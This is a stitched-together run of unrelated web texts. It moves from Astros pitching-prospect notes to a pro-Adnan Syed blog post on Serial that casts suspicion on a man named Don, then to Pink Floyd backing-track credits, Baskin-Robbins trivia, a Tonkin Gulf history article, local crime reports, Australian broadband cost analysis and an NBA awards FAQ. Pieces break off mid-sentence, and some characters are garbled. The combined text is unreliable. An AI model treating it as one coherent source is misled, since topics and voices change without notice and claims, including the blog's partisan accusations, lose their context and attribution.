A talent evaluator I spoke with said Wojciechowski did very well after coming over to the Astros in a trade for and getting promoted from high-A to double-A. “He performed great and his velocity jumped a tick or two,” he said, adding that Wojo was up to 94 mph and had a variety of pitches that he can throw strikes when eveything is clicking. He doesn’t have the most athletic build but he looks strong, which bodes well for his durability.
Personally, I’ve followed the rigth-hander’s career since the 2010 draft and took in one of his starts with the Astros in September.Early in this game he was fighting his arm slot and flying open, which caused his pitches to stay up in the zone. None of his pitches stood out and his delivery looked like a collection of parts; it was not smooth at all. Something clicked, though, in the second inning and he looked like a completely different pitcher. His pitches showed movement and were crisp; his arm worked well. It all fell apart again in the third inning, though. Throughout the majority of the game I saw nothing but fastballs and curveballs. The changeup was missing in action.
The contact I spoke with said Wojciechowski has the ceiling of a No. 4 starter or “a very useful bullpen guy.” I personally feel his future is in the bullpen, due to his delivery issues, and lack of a reliable third pitch and his mentality. With a solid two-pitch combo, which includes slightly above-average fastball velocity, Wojciechowski could develop into a solid seventh- or eighth-inning reliever.
#13 Colton Cain (P)
Age G GS IP H HR K/9 BB/9 ERA FIP 21 23 23 110.2 109 14 6.18 3.50 4.64 4.91
Opening Day Age: 22
2012 Level: A+
Acquired: 2012 trade (with Pittsburgh)
Projected 2013 Level: AA
Cain was an above-slot signee for the Pirates during a 2009 amateur spending spree but he failed to live up expectation in the organization. He was flipped to Houston last season during the Wandy Rodriguez traded that also netted Robbie Grossman, and he will look to re-establish his top prospect rating in 2013.
A scout I spoke with said that the Pirates organization teaches pitchers to pitch to contact, focus on commanding both sides of the plate and avoid running up the pitch counts. As such, a move to the Astros organization – and a possible change in developmental philosophy – could allow Cain to breakout with a more dynamic pitching approach. “He has the stuff to throw harder,” the scout commented.
Cain has a repeatable delivery with clean arm action and has command of the fastball. He has a big, strong frame and should be capable of providing a lot of innings as a No. 3 or 4 starter. What he needs to do, though, is continue to improve his secondary stuff after dominating high school opponents with his fastball alone. I’m told he used to throw more of a slurve but has not developed both a curveball and a slider.
If Cain can round out his repertoire and sharpen his repertoire than he has a chance to reach his potential, although his ceiling has been lowered since his draft year. The Texas native could receive an assignment to double-A in 2013 with a strong spring but is probably at least a year away from contributing at the big league level.
#14 Adrian Houser (P)
Age G GS IP H HR K/9 BB/9 ERA FIP 19 11 11 58.0 53 1 8.38 3.57 4.03 3.01
Opening Day Age: 20
2012 Level: R+
Acquired: 2011 draft (2nd round)
Projected 2013 Level: A
Houser is yet another member of the recent wave of high-ceiling prep arms coming out of the state of Oklahoma. He was the 69th overall selection of the 2011 amateur draft as a second-round pick and has produced solid numbers throughout his pro career.
At 6’4” 205 lbs, Houser has a solid pitcher’s frame and manages to get a good downward plane on his pitches, which helps him produce above-average ground-ball rates. His control is currently ahead of his command. His repertoire includes a fastball that sits in the low 90s and he flashes a solid curveball. His change-of-pace remains a work-in-progress. A two-way player in high school, Houser is a little bit behind other pitchers that focused solely on the bump but the athleticism should benefit him in the long run and help him field his position well.
A contact I spoke with referred to Houser as a strong kid “with good stuff” who has a chance to be a No. 2 or 3 guy. He also added that the jump from short-season to full-season ball will be a big test for the right-handed prospect. Houser should spend the year pitching for Quad Cities and will likely spend the entire year there. With more depth in the system now, the Astros organization can afford to be patient with young pitchers like Houser.
#15 Rob Rasmussen (P)
Age G GS IP H HR K/9 BB/9 ERA FIP 23 27 26 142.0 141 12 7.54 3.42 4.25 3.81
Opening Day Age: 24
2012 Level: A+/AA
Acquired: 2012 trade (with Miami)
Projected 2013 Level: AAA/MLB
Rasmussen is another guy that falls into the muddled group of 10-12 guys that could be ranked in the 11-15 range. The lefty ranks up on my list due – in part – to personal familiarity with him, having followed him since his college days.
A scout I spoke to about the former UCLA pitcher sees a big league role in his future. “I think he’ll be able to get people out at the big league level but he’s got to get the ball down,” he said. “He’s up to 94 mph with two breaking balls. The little dude works his tail off.” Two concerns brought up were his lack of deception, as well as his command/control issues – although he has few red flags in his delivery.
Because Rasmussen has a short, slight build, it’s difficult to project him as a big league starter, although he’s been extremely durable in the minors by pitching almost 300 innings during the past two seasons. He’s also known for being competitive so he could have the perfect makeup for a reliever. I heard a loose comp to lefty reliever J.P. Howell, formerly of the Royals and Rays.
If Rasmussen can find a way to get on top of the ball and create downward action on his pitches while also harnessing his breaking balls, he could be a valuable piece of the Astros bullpen as soon as mid-to-late 2013.Circa 2001 or so. We visited Adnan at Family Day in the Jessup prison. From the right is Saad, me, my little girl who is now a teenager, our friend Rana, my little sister Lilly, and Adnan. I wish his current prison allowed such visits. We had BBQ and music and it was so great to just be around him without being separated from him.
I don’t deny I am relieved that Serial is over. Not that it wasn’t a tremendous expose on Adnan’s case, and the result of so much time and effort by Sarah and her team which I’ll always appreciate, and its literally breathed new life into future prospects of exoneration. But because as difficult as it was for the general public to swing back and forth between sides, guided effortlessly by Sarah, it was even harder on those who know and love Adnan.
We never knew what parts of the story Sarah would chose to tell, and how she would chose to tell it. And I promise you, the parts you tell and how you tell it make all the difference in what the world hears. So we would wait to see which way the wind blew each week, and often wonder why Sarah left out certain things. In a way, as Sarah wondered if Adnan was manipulating her, we all wondered if Sarah was doing the same thing to us.
I suppose the reality is that she was, and so were we. We all needed things from each other, and we all worried about what we said, how we said it, where to draw the line, how to respond to what’s been said and done. It sucks in a big way, and I heard that frustration in Adnan’s letter last week – to be continuously guarded because you know when another person doesn’t fully trust you, everything you say and how you say it can seem suspicious or be misconstrued.
The Islamic ethos is to trust someone until they give you reason not to. I prefer to work like that, it makes life and dealing with people so much easier. After Serial, it will be easier for everyone to do.
Now, into the episode.
DON:
Ok, I’ll just be up front here. I don’t know what to do about Don. The note to him really weirded me out.
In case you’re having trouble reading that, it says, “Hey Cutie, sorry I couldn’t stay. I have to go to a wrestling match at Randallstown High. But I promise to page you as soon as I get home, k? ’till then, take care + drive safely. Always, Hae. PS The interview went well + I promise to tape it so you can see me as many + as often as you want :)”
Hae is referring to a tv interview she gave that day, which will run later that night, and she’ll tape for Don. Here are my issues with this note:
1) The body of the note is something you would not write in advance, it’s the kind of language you jot down on the spot, to leave for someone somewhere, which makes it seem like she had actually seen Don that day. But the PS sounds like something you’d write to someone you haven’t actually seen yet. So let’s assume she hadn’t seen Don when she wrote it, but she anticipated seeing Don or dropping the note off where he would see it.
2) Which brings me to the question of where? Where would she have seen him or anticipated he would be for her to give him the note? Below, Don says that the 13th was his day off. Hae was with him until late on the 12th. Certainly she knew the 13th was his day off. And Don says they didn’t connect all day on the 13th. So the only way Hae would have known where and when to leave this note was if they had already planned, on the 12th, to meet somewhere on the 13th.
3) Which brings me to when? Clearly, from the note, its before the wrestling match, but what’s not clear is if this was before she picks up her cousin or after. There is no way that Hae would have written this note if they did not have a plan to meet. But Don never says they do.
4) Nothing was ever tested against Don. Not the hair that was found, not the blood on the shirt in the car. Apparently the police thought getting clocked in for work, when your mom is the store manager, was a rock solid alibi.
It appears that Don’s father is a police officer, which may explain why Don immediately began tracing his steps and making sure he had an alibi as soon as he heard Hae was missing, and total departure from how Adnan reacted.
While its definitely unclear what happened in those two days between them, it could easily be remedied if Don was also tested against the forensics. As the Innocence Project moves forward to get DNA testing done on the evidence that exists, it would be great if Don would volunteer his samples and clear up any doubts about him.
HEY WHAT’S A CAR AND PHONE BETWEEN FRIENDS?
The question of why Adnan would lend his car and phone to someone like Jay keeps coming up. So let’s get one thing straight. Adnan lent Jay his car, the cell phone just happened to get left in it.
Once in a while, and despite his natural inclination against it, an actual truth manages to escape Jay. Here, in his own words, Jay destroys the entire basis of the State’s case – that Adnan deliberately gave Jay the phone to help him after the murder, not that Adnan just happened to leave the phone in the car.
THE GOSPEL OF THE CELL PHONE
Its fascinating that Sarah says the only “hard evidence” in this case are the cell phone records. I get what she means, there is no actual physical evidence tying Adnan to the crime, and if we’re to try and corroborate any version of Jay’s story, this would be the only way to do it. What’s fascinating is the way she and her team interpret the records and how much weight they give to the cell tower pings. I’ve discussed before but let’s do this again.
There are three potential utilities to the cell phone information:
1) What times calls were made and received
2) Who was being called and who was calling
3) What cell phone tower was being “pinged”
The first and second tell a story, the story of WHO had the phone. Not where the phone is, but who had it. So let’s start there.
I’ll explain in detail but let’s start with the call log itself, above.
The first call, on the bottom, is to Jay. This is presumably Adnan asking Jay if he should come by with the car. And so he goes over there. Now every call made with the exception of the “Nisha call”, from line 31 to line 22, is made to a friend of Jay’s. At 5:14pm, the voicemail on the phone is checked. It can assumed that by that time Adnan has the phone. I will also assume that the incoming call right before it, at 4:58pm, is Adnan asking Jay to come get him.
So between 12:07-4:58pm, the only reasonable explanation for the call patterns is that Jay is the only person who had the phone at that time. The Nisha call, one that Nisha has no recollection of, was almost certainly a butt-dial, as explained earlier here.
But Julie suggests, in a very tantalizing way, that something nefarious was going on even earlier in the day. As early as the 12:07 and 12:41 calls. She says that attorney notes indicate Adnan was still with Jay at that time, and the phone was moving all over the place with them.
Here are some documents referencing that time frame:
Not sure why Julie was so deliciously suspicious about these calls, since there is little to indicate that Adnan was with Jay at the time they were made. So the entire premise of that part of episode 12 is wrong.
But what I cannot get over is how the Serial team continues to use the cell towers “pinged” as gospel, a map showing exactly where the phone was at any given time.
Julie says “I can see where the phone was moving” at 30:05 of the episode. No Julie, no you can’t. Because cell phone pings are NOT a reliable indicator of where a phone is, and as I’ve explained in detail before, have been declared as inadmissible by courts around the country. The other issue with accepting the idea that the pings can act like a trial is that if we do that, again we’re at the place where none of Jay’s testimony makes sense (remember only 4 of 14 pings matched up to his story, and that’s according to the prosecution!). So either you throw all the pings out, or all of Jay’s testimony out. You can’t have it both ways.
I will say that if Adnan gets a new trial, I hope his counsel gets this evidence barred as it should be, which will leave the |
2
– Thanks to Are Svendsen for the track
Young Lust
– Thanks to Matthew Rigby for the track
Run Like Hell
– Thanks to Chris Johnson for the track
Comfortably Numb
– Thanks to Jani Ovasaka for the track
Your Possible Pasts (solo excerpt)
Thanks to Filippo Bartoli for the track
Fletcher Memorial Home
Thanks to Matthew Rigby for the track
Final Cut (solo excerpt)
– The solo from Final Cut. Recorded by Bjørn Riis.
Signs of Life
– Thanks to Jean Cabi for the track
Sorrow
– Thanks to Matthew Rigby for the track
On the Turning Away
– Thanks to John Roscoe for the track
Terminal Frost
– Thanks to John Roscoe for the track
Learning to Fly (Pulse version)
– Thanks to Markus Auinger for the track
Dogs of War
– Thanks to Fluch for the track
Yet Another Movie
– Thanks to BeatKraftZ Music Productions for the track
Wearing the Inside Out
– Thanks to Marc-Andre Paquette for the track
Poles Apart
– Thanks to Gavin Beaumont for the track
Cluster One
– Thanks to Alex Wheeler for the track
Coming Back to Life
– Thanks to Daniel Scates for the track
What Do You Want From Me
– Thanks to Christophe Folly for the track
Take it Back
– Thanks to Rafal Zychal for the track
Marooned (midi)
– Thanks to Stanislav Dyachenko for the track
Keep Talking (midi)
– Thanks to Joe “Buckkillr8” Eggers for the track
Lost For Words
– Thanks to Gary Halloran for the track
High Hopes
– Thanks to Chico Valdivia for the track
Castellorizon
– No sound effects and added an acoustic guitar to keep time. Recorded by Bjørn Riis.
On an Island (first solo)
– The first solo or middle section on On an Island. Recorded by Bjørn Riis.
On an Island (final solo – extended)
– An extended version of the track heard on On an Island. Recorded by Bjørn Riis.
The Blue (excerpt)
– Thanks to Jordan Nevell for the track
Take a Breath
РThanks to Fr̩d̩ric Peynet for the track
Slow Blues
– Thanks to Rafal Zychal for the trackFun Facts You might know a lot about ice cream, but here are some things you might not know about Baskin-Robbins.
There are more than 7,800 Baskin-Robbins locations around the world, with more than 2,500 nationwide.
Baskin-Robbins international locations feature flavors of ice cream popular to the tastes of each country, such as Red Bean and Green Tea.
Baskin-Robbins "31®" was created to represent a different ice cream flavor for each day of the month. The "31 Flavors" concept was introduced into marketing efforts in 1953.
Today Baskin-Robbins colors are pink and blue, but the original colors were brown (representing chocolate) and pink (representing cherry), and our famous polka dots represented circus balloons.
The company founders, Burt Baskin and Irv Robbins, were brothers-in-law. Burt married Irv's sister Shirley in 1942.
Both Burt and Irv served during World War II. Burt was a Lieutenant in the U.S. Navy serving in the South Pacific. Irv was a Staff Sergeant in the Army, stationed in California.
Burt owned a 1931 Rolls Royce® Phantom II, the world's first 100 mph passenger car.
Burt Baskin once met a man who told him, "Whoever thinks of all these flavors must be plumb nuts!" "Congratulations," said Mr. Baskin. "You just invented a new flavor: Plum Nuts."
At the height of Beatlemania, just before the Beatle's first U.S. tour, a reporter from The Washington Post called Irv Robbins and asked what new flavor would honor the Beatles. The truth was, Baskin-Robbins had not invented a Beatles flavor. Caught unprepared, Mr. Robbins replied, "Uh, Beatle Nut, of course." It was created, manufactured and delivered in just five days.
Following a trip to New Orleans, Irv and Irma Robbins were enjoying some souvenir pralines at home when inspiration hit. They rushed to the kitchen, mixed the pralines with Vanilla ice cream and a caramel ribbon—and Pralines 'n Cream was born. It was such a hit that stores all over the country began running out. Advice columnist Dear Abby pleaded in print for its return. Headquarters received petitions with hundreds of signatures. And in Santa Barbara, students picketed local stores until Baskin-Robbins delivered a special production run of the flavor. It has been a permanent flavor ever since.
Irv originally wanted to open his first Snowbird store in the San Francisco Bay Area. On a trip to Los Angeles to talk with suppliers, he noticed a "For Rent" sign in a store window down the street from the Forest Lawn Cemetery. That store became the first Snowbird store, and then the first Baskin-Robbins® store.
Ernie Robbins, Irv's father, convinced Burt and Irv to first open separate stores rather than go into partnership together, so they could each experience what it was like to make their own decisions. That decision lead to Irv opening Snowbird and Burt opening Burton's.
The top 5 selling Baskin-Robbins ice cream flavors are Vanilla, Chocolate, Mint Chocolate Chip, Pralines 'n Cream and Chocolate Chip.
Jamoca® Almond Fudge ice cream was first developed to be made from coffee brewed on the premises of each of the fifteen manufacturing facilities.
All Baskin-Robbins chocolate ice creams originally were comprised of an exclusive blend of three cocoas.
The creation of Very Berry Strawberry ice cream was initially created with a special strawberry created and grown exclusively for Baskin-Robbins.
Since 1945, we've created more than 1,300 unique and delicious ice cream flavors.
Throughout the years, we've honored important American events and cultural trends by introducing premium ice cream flavors, such as Lunar Cheesecake ™, Sesame Sweet, Beatle Nut and Green Monster Mint.
, Sesame Sweet, Beatle Nut and Green Monster Mint. In 1976, during America's 200th Birthday Celebration (and Baskin-Robbins' 31st birthday), President Ford enjoyed a quart of Valley Forge Fudge created just for the occasion.
"Here Comes the Fudge" ice cream was named after a popular segment on Rowan and Martin's Laugh-In TV show.
Baseball Nut ® commemorated the Dodgers move from Brooklyn to Los Angeles in 1958.
commemorated the Dodgers move from Brooklyn to Los Angeles in 1958. "Astronut" and "Lunar Cheesecake" were named in honor of the NASA space missions that took place in the 1960s, but were only introduced after the astronauts came home safely.
One of Baskin-Robbins' most popular flavors was actually created by comedian Steve Allen. "Steverino" Ice Cream was invented as a gag for the Steve Allen Show, but proved to be very popular in stores. It was loaded with fresh fruits, nuts and Fern Candy. In the first month it was offered, Steverino Ice Cream sold over 1 million scoops, a new volume record for the industry.
Baskin-Robbins franchisee, Mitch Cohen of New York, currently holds the Guinness World Record for scooping 19 ice cream cones in one minute.
On May 18, 2000, Baskin-Robbins achieved the Guinness World Record for the "World's Largest Ice Cream Scoop Pyramid" by using 3,100 scoops of ice cream.
The Guinness World Record for the largest cup of ice cream is currently held by Baskin-Robbins. Created on September 13, 2005 in celebration of the company's 60th birthday, the enormous scoop of vanilla ice cream weighed in at 8,865 pounds!
Howard Hughes once became quite fond of Baskin-Robbins Banana Nut ice cream, so his aides tried to purchase a bulk shipment for him. Sadly, they discovered the flavor had been discontinued. They put in a request for the smallest amount the company could provide for a special order, 350 gallons (1,300 Liters). It was shipped from Los Angeles to Las Vegas, where Hughes lived at the time on the top floor of the Desert Inn. That's the hotel he bought after they tried to evict him. A few days after the order arrived, Hughes announced he was tired of Banana Nut and only wanted French Vanilla ice cream. The Desert Inn ended up distributing free Banana Nut ice cream to casino customers for a full year until the 350 gallons were gone.
(Source: wikipedia)
(Source: wikipedia) The favorite Baskin-Robbins flavor of Bing Crosby and Justin Timberlake was, and is, Daiquiri Ice.
Famous former Baskin-Robbins scoopers include President Barack Obama, TV hosts Leeza Gibbons and Rosie O'Donnell, Chef Bobby Flay, actresses Julia Roberts, Taryn Manning and Chandra Wilson, actors Eric Dane and Randy Quaid and New York Yankees pitcher Phil Hughes.
Sean “Diddy” Combs got his first break by starring in a Baskin-Robbins commercial at the age of two.
The trademarks mentioned herein are held by their respective owners and no association or sponsorship with Baskin-Robbins is intended.There is a classified America we were never meant to see. From Academy Award®-winning writer/director Oliver Stone, this ten-part documentary series looks back at human events that at the time went under reported, but that crucially shaped America's unique and complex history over the 20th century. From the atomic bombing of...
There is a classified America we were never meant to see. From Academy Award®-winning writer/director Oliver Stone, this ten-part documentary series looks back at human events that at the time went under reported, but that crucially shaped America's unique and complex history over the 20th century. From the atomic bombing of Japan to the Cold War and the fall of Communism, this in-depth, surprising, and totally riveting series demands to be watched again and again.
Chapter 1: World War II
Chapter 2: Roosevelt, Truman & Wallace
Chapter 3: The Bomb
Chapter 4: The Cold War: 1945–1950
Chapter 5: The '50s: Eisenhower, The Bomb & The Third World.
Chapter 6: JFK: To The Brink
Chapter 7: Johnson, Nixon & Vietnam: Reversal Of Fortune
Chapter 8: Reagan, Gorbachev & Third World: Rise Of The Right
Chapter 9: Bush & Clinton: Squandered Peace – New World Order
Chapter 10: Bush & Obama: Age of Terror
Part 11: Prologue A
Part 12: Prologue B
The series is also available via Showtime on-demand.As war hawks today push President Obama into more and more confrontations, there is an echo from a half century ago when Vietnam War hawks manipulated President Johnson into a bombing campaign in retaliation for the phony Gulf of Tonkin incident, as Gareth Porter recalls.
By Gareth Porter
For most of the last five decades, it has been assumed that the Tonkin Gulf incident was a deception by Lyndon Johnson to justify war in Vietnam. But the U.S. bombing of North Vietnam on Aug. 4, 1964, in retaliation for an alleged naval attack that never happened — and the Tonkin Gulf Resolution that followed was not a move by LBJ to get the American people to support a U.S. war in Vietnam.
The real deception on that day was that Secretary of Defense Robert S. McNamara’s misled LBJ by withholding from him the information that the U.S. commander in the Gulf — who had initially reported an attack by North Vietnamese patrol boats on U.S. warships — had later expressed serious doubts about the initial report and was calling for a full investigation by daylight. That withholding of information from LBJ represented a brazen move to usurp the President’s constitutional power of decision on the use of military force.
McNamara’s deception is documented in the declassified files on the Tonkin Gulf episode in the Lyndon Johnson library, which this writer used to piece together the untold story of the Tonkin Gulf episode in a 2005 book on the U.S. entry into war in Vietnam. It is a key element of a wider story of how the national security state, including both military and civilian officials, tried repeatedly to pressure LBJ to commit the United States to a wider war in Vietnam.
Johnson had refused to retaliate two days earlier for a North Vietnamese attack on U.S. naval vessels carrying out electronic surveillance operations. But he accepted McNamara’s recommendation for retaliatory strikes on Aug. 4 based on reports of a second attack. But after that decision, the U.S. task force commander in the Gulf, Capt. John Herrick, began to send messages expressing doubt about the initial reports and suggested a “complete evaluation” before any action was taken in response.
McNamara had read Herrick’s message by mid-afternoon, and when he called the Pacific Commander, Admiral U.S. Grant Sharp Jr., he learned that Herrick had expressed further doubt about the incident based on conversations with the crew of the Maddox. Sharp specifically recommended that McNamara “hold this execute” of the U.S. airstrikes planned for the evening while he sought to confirm that the attack had taken place.
But McNamara told Sharp he preferred to “continue the execute order in effect” while he waited for “a definite fix” from Sharp about what had actually happened.
McNamara then proceeded to issue the strike execute order without consulting with LBJ about what he had learned from Sharp, thus depriving him of the choice of cancelling the retaliatory strike before an investigation could reveal the truth.
At the White House meeting that night, McNamara again asserted flatly that U.S. ships had been attacked in the Gulf. When questioned about the evidence, McNamara said, “Only highly classified information nails down the incident.” But the NSA intercept of a North Vietnamese message that McNamara cited as confirmation could not possibly have been related to the Aug. 4 incident, as intelligence analysts quickly determined based from the time-date group of the message.
LBJ began to suspect that McNamara had kept vital information from him, and immediately ordered national security adviser McGeorge Bundy to find out whether the alleged attack had actually taken place and required McNamara’s office to submit a complete chronology of McNamara’s contacts with the military on Aug. 4 for the White House indicating what had transpired in each of them.
But that chronology shows that McNamara continued to hide the substance of the conversation with Admiral Sharp from LBJ. It omitted Sharp’s revelation that Capt. Herrick considered the “whole situation” to be “in doubt” and was calling for a “daylight recce [reconnaissance]” before any decision to retaliate, as well as Sharp’s agreement with Herrick’s recommendation. It also falsely portrayed McNamara as having agreed with Sharp that the execute order should be delayed until confirming evidence was found.
Contrary to the assumption that LBJ used the Tonkin Gulf incident to move U.S. policy firmly onto a track for military intervention, it actually widened the differences between Johnson and his national security advisers over Vietnam policy. Within days after the episode Johnson had learned enough to be convinced that the alleged attack had not occurred and he responded by halting both the CIA-managed commando raids on the North Vietnamese coast U.S. and the U.S. naval patrols near the coast.
In fact, McNamara’s deception on Aug. 4 was just one of 12 distinct episodes in which top U.S. national security officials attempted to press a reluctant LBJ to begin a bombing campaign against North Vietnam.
In September 1964, McNamara and other top officials tried to get LBJ to approve a deliberately provocative policy of naval patrols running much closer to the North Vietnamese coast and at the same time as the commando raids. They hoped for another incident that would justify a bombing program. But Johnson insisted that the naval patrols stay at least 20 miles away from the coast and stopped the commando operations.
Six weeks after the Tonkin Gulf bombing, on Sept. 18, 1964, McNamara and Secretary of State Dean Rusk claimed yet another North Vietnamese attack on a U.S. destroyer in Gulf and tried to get LBJ to approve another retaliatory strike. But a skeptical LBJ told McNamara, “You just came in a few weeks ago and said they’re launching an attack on us they’re firing at us, and we got through with the firing and concluded maybe they hadn’t fired at all.”
After LBJ was elected in November 1964, he continued to resist a unanimous formal policy recommendation of his advisers that he should begin the systematic bombing of North Vietnam. He stubbornly argued for three more months that there was no point in bombing the North as long as the South was divided and unstable.
Johnson also refused to oppose the demoralized South Vietnamese government negotiating a neutralist agreement with the Communists, much to his advisers’ chagrin. McGeorge Bundy later recalled in an oral history interview that he concluded that Johnson was “coming to a decision to lose” in South Vietnam.
LBJ only capitulated to the pressure from his advisers after McNamara and Bundy wrote a joint letter to him in late January 1965 making it clear that responsibility for U.S. “humiliation” in South Vietnam would rest squarely on his shoulders if he continued his policy of “passivity.” Fearing, with good reason, that his own top national security advisers would turn on him and blame him for the loss of South Vietnam, LBJ eventually began the bombing of North Vietnam.
He was then sucked into the maelstrom of the Vietnam War, which he defended publicly and privately, leading to the logical but mistaken conclusion that he had been the main force behind the push for war all along.
The deeper lesson of the Tonkin Gulf episode is how a group of senior national security officials can seek determinedly through hardball and even illicit tactics to advance a war agenda, even knowing that the President of the United States is resisting it.
Gareth Porter, an investigative historian and journalist specialising in U.S. national security policy, received the UK-based Gellhorn Prize for journalism for 2011 for articles on the U.S. war in Afghanistan. His new book Manufactured Crisis: the Untold Story of the Iran Nuclear Scare, was published Feb. 14.CLOSE Crime Stoppers of Central Indiana allows Indianapolis residents to share anonymous tips with law enforcement. Here are a few things Crime Stoppers wants you to know before you call. Wochit
Buy Photo Police tape a crime scene. (Photo: Michael Anthony Adams/IndyStar 2016 file photo)Buy Photo
KOKOMO, Ind. – Nine Kokomo police officers have been released from the hospital after being exposed to chemicals while serving a warrant at a home Tuesday night, reports Fox59.
According to Kokomo police, the officers were executing the warrant in the 1800 block of North Wabash Street in connection with a drug case. The officers were exposed to an “unknown chemical agent" as soon as they entered the home. The officers were having trouble breathing and said their eyes were burning.
Eight officers were taken by ambulance to St. Vincent Hospital Kokomo. An additional officer was treated at the hospital for exposure. All are expected to make a full recovery, officials said.
Neighbors described a chaotic scene and said some officers had difficulty walking under their own power.
“We actually saw one officer, who I assume was undercover because he was in plain clothes, we actually saw him carried out on the shoulder of another man with an oxygen mask on. He was carried out to an ambulance and put in the back of the ambulance and was gone,” said neighbor Sara Holloway.
“That’s when it kind of hit us... something very bad, chemically, unfortunately, something that is hazardous to the children and the neighborhood is here "
Two adult suspects inside the home were also exposed to the unknown chemical agent and were taken to Community Howard Hospital.
Six adults and a juvenile were arrested as a result of the incident.
Several emergency agencies were called to the area, including Howard County Emergency Management, the Kokomo Fire Department and the KFD hazmat team. The Indiana State Police Clandestine Lab Team will help process the scene.
This story originally published at www.fox59.com.
Read or Share this story: http://indy.st/2yrwXedChandra Lye, ctvedmonton.ca
One man was injured after a stabbing at the Mill Woods Town Centre Saturday morning.
The incident happened at the mall food court just after 11 a.m.
Police said an 18-year-old was taken to the U of A hospital with serious injuries.
Officers and a canine team have been searching the area but police would not release any details.
Residents said they were surprised and concerned about the incident.
"I walked in and there was police tape everywhere and you could see the blood stains right there," Troy Falk told CTV News.
He said he had heard there had been a fight next to the children's play area but didn't realize how serious it was.
"Oh, of course. And in a food court, how many kids seen it? You know."
Shopper Julie Hink said she often brings her grandchildren to the Centre but was now concerned.
"I want to be able to find a safe place in winter where we can be and I'm horrified to think that that could happen so close," she said adding that it destroyed her trust of the area.
Other shoppers agreed.
"I'm disgusted," Karen Tober said.
"My first thought was this is Mill Woods then that conjures up a whole bunch of impressions for people because Mill Woods has been called murder woods," she added.
Some have even said there needed to be better security at shopping centres.
"There should be adequate police presence there to avoid this kind of incident," Sandeep Luthera said.
With files from Amanda AndersonCost is a central issue in the ongoing debate about the best approach to building Australia’s National Broadband Network (NBN).
In 2013, the Coalition argued that Labor’s original all-fibre to the premises (FTTP) network could cost as much as A$94 billion. In the 2016 NBN Corporate plan the figure was revised down to A$74 billion to A$84 billion, while NBN Co’s multi technology mix (MTM), incorporating fibre to the node (FTTN) and upgraded hybrid fibre coax (HFC) was less costly, with a price tag of A$46 billion to A$56 billion.
Since the Coalition announced these numbers, Labor has said that, if elected, it will not go back to an all-FTTP network, but instead pursue a half-way option, in which the HFC component of the MTM is retained but FTTN, the slowest and most limited technology, is phased out.
It’s worth looking more closely at cost difference between FTTP and FTTN to see if the claimed A$84 billion to A$56 billion maximum cost comparison stacks up, and see where Labor’s new half-way solution sits.
Capital costs
The NBN 2016 Corporate Plan states that the average capital cost (capex) to connect a home or business to the NBN using FTTP is A$3,700. But the real cost for a FTTP connection is probably less than this.
The A$3,700 figure quoted by nbn co is based on old construction techniques that have been superseded in other parts of the world. The costs of rolling-out FTTP in New Zealand, for example, have been dropping steadily in recent years and will soon be A$2,900 per premises. For some reason, NBN Co has yet to acknowledge the lessons learned in New Zealand.
Let’s give NBN Co the benefit of the doubt and assume that the A$3,700 cost per premises for FTTP is correct. In comparison, the 2016 Corporate Plan states that the average capital cost for a FTTN connection is A$1,600, or A$2,100 less than FTTP.
For an upgraded hybrid-fibre-coax (HFC) connection the capital cost is A$1,100, or A$2,600 less. However, in light of recent revelations in a leaked document from NBN Co published by Fairfax indicating that it may be necessary to overbuild Optus’ HFC network, the savings offered by HFC will not be as good.
Using these numbers, it is easy to compare the capital costs of different networks.
At the end of construction, the MTM network will provide FTTN to 4.5 million premises and HFC to 4 million premises. Labor’s new approach is to replace as many as possible of these 4.5 million FTTN connections by FTTP. The maximum additional capital cost to do this would be 4.5 million times A$2,100, or A$9.5 billion. This figure corresponds to A$790 per premises averaged across all 12 million premises in Australia.
An all-FTTP network could be achieved by also replacing the HFC connections with FTTP. The total additional capital cost of this hypothetical all-FTTP network would be A$19.9 billion, or A$1,658 per premises averaged across all premises.
Peak funding
Of course, it is necessary to also consider operational expenditure (opex) – the cost of running the network – and revenues from the network. These factors all contribute to the peak funding figures in the 2016 Corporate Plan.
Peak funding is the maximum cash outlay required before cash flow becomes positive. Peak funding is a useful measure of cost because it is a direct measure of the cash outlay required. But it is not necessarily a good measure of the cost of the network infrastructure or a good measure of the net financial cost/benefit to the Australian taxpayer.
Operational expenditure is a major issue for the MTM network because of factors including the need for new software management systems, the additional costs of maintaining the degrading copper wires in the FTTN network, and the cost of the electricity required to power the FTTN nodes located in suburban streets. Importantly, an FTTP network would incur none of these costs.
In fact, the leaked nbn co document mentioned earlier shows that the operational costs of FTTN network are 67% more than for FTTP, and the operational costs of HFC are 25% more. Over the lifetime of the network, this difference could amount to billions of dollars, greatly reducing the overall difference in costs between FTTN and FTTP.
Another factor that reduces the cost difference between the Coalition’s network and Labor’s new alternative is that a Labor’s FTTP/HFC network would be capable of generating higher revenues through the delivery of premium services that would not be achievable with a slower-speed FTTN network.
This is well documented by high-profile companies such as Ovum, which predicts FTTP services will drive the highest global growth rates for broadband revenues over the next five years, based on premium speeds of 100 Mbps and higher.
Timeframes
In light of all these factors, why is NBN Co’s cost estimate for a hypothetical FTTP network so large? The NBN Corporate plan provides no detailed information on its financial modelling, but it states that an all-FTTP network would take until 2026 to 2028 to complete.
If the timeframe was indeed as long as this, the revenue stream would be delayed. This could indeed lead to unrealistically large numbers for the peak funding cost of FTTP.
So where does the 2026 to 2028 timeframe come from? My guess is that NBN Co has simply extrapolated from the present rollout rate for FTTP, which has not increased much since 2013. One piece of supporting information comes from a Senate Estimates meeting, where NBN Co confirmed that its A$74-84 billion number was not for a “continued” FTTP network but for a “restart” from the current plan.
NBN Co waited until September this year to hire additional staff, increasing the number of employees from 3,400 to 4,500 to speed up the rollout of FTTN. If it had hired these additional staff in 2013 and focused on the FTTP rollout, the network could well have been completed by around 2020 or 2021.This is shaping up to be the most challenging and relevant NBA awards ballot in a generation. To add to the drama, new rules in the CBA make this year's awards votes matter more than ever. Let's break it down FAQ-style.
Is this going to be the closest MVP race in history?
Probably not. This year could see five players (James Harden, Russell Westbrook, LeBron James, Kawhi Leonard and perhaps Giannis Antetokounmpo) get at least one first-place vote, which hasn't happened since 2012, when James, Kevin Durant, Chris Paul, Kobe Bryant and Tony Parker each received first-place votes. But there really hasn't been a "close" MVP vote since Steve Nash edged Shaquille O'Neal by seven first-place votes in 2005. That one is still a cause for debate.
Because it's been so long since the MVP race was projected to be this close, there's extra attention this year. Last year, of course, was the most lopsided in history, with Stephen Curry winning unanimously.
So who is the favorite to win MVP?
The Washington Post recently did a poll among more than 100 likely MVP voters, and Harden won by a reasonable margin. Westbrook was second. However, Westbrook's continued incredible play over the past couple of weeks has probably tightened the race, while Harden has struggled a bit recently with a wrist injury.
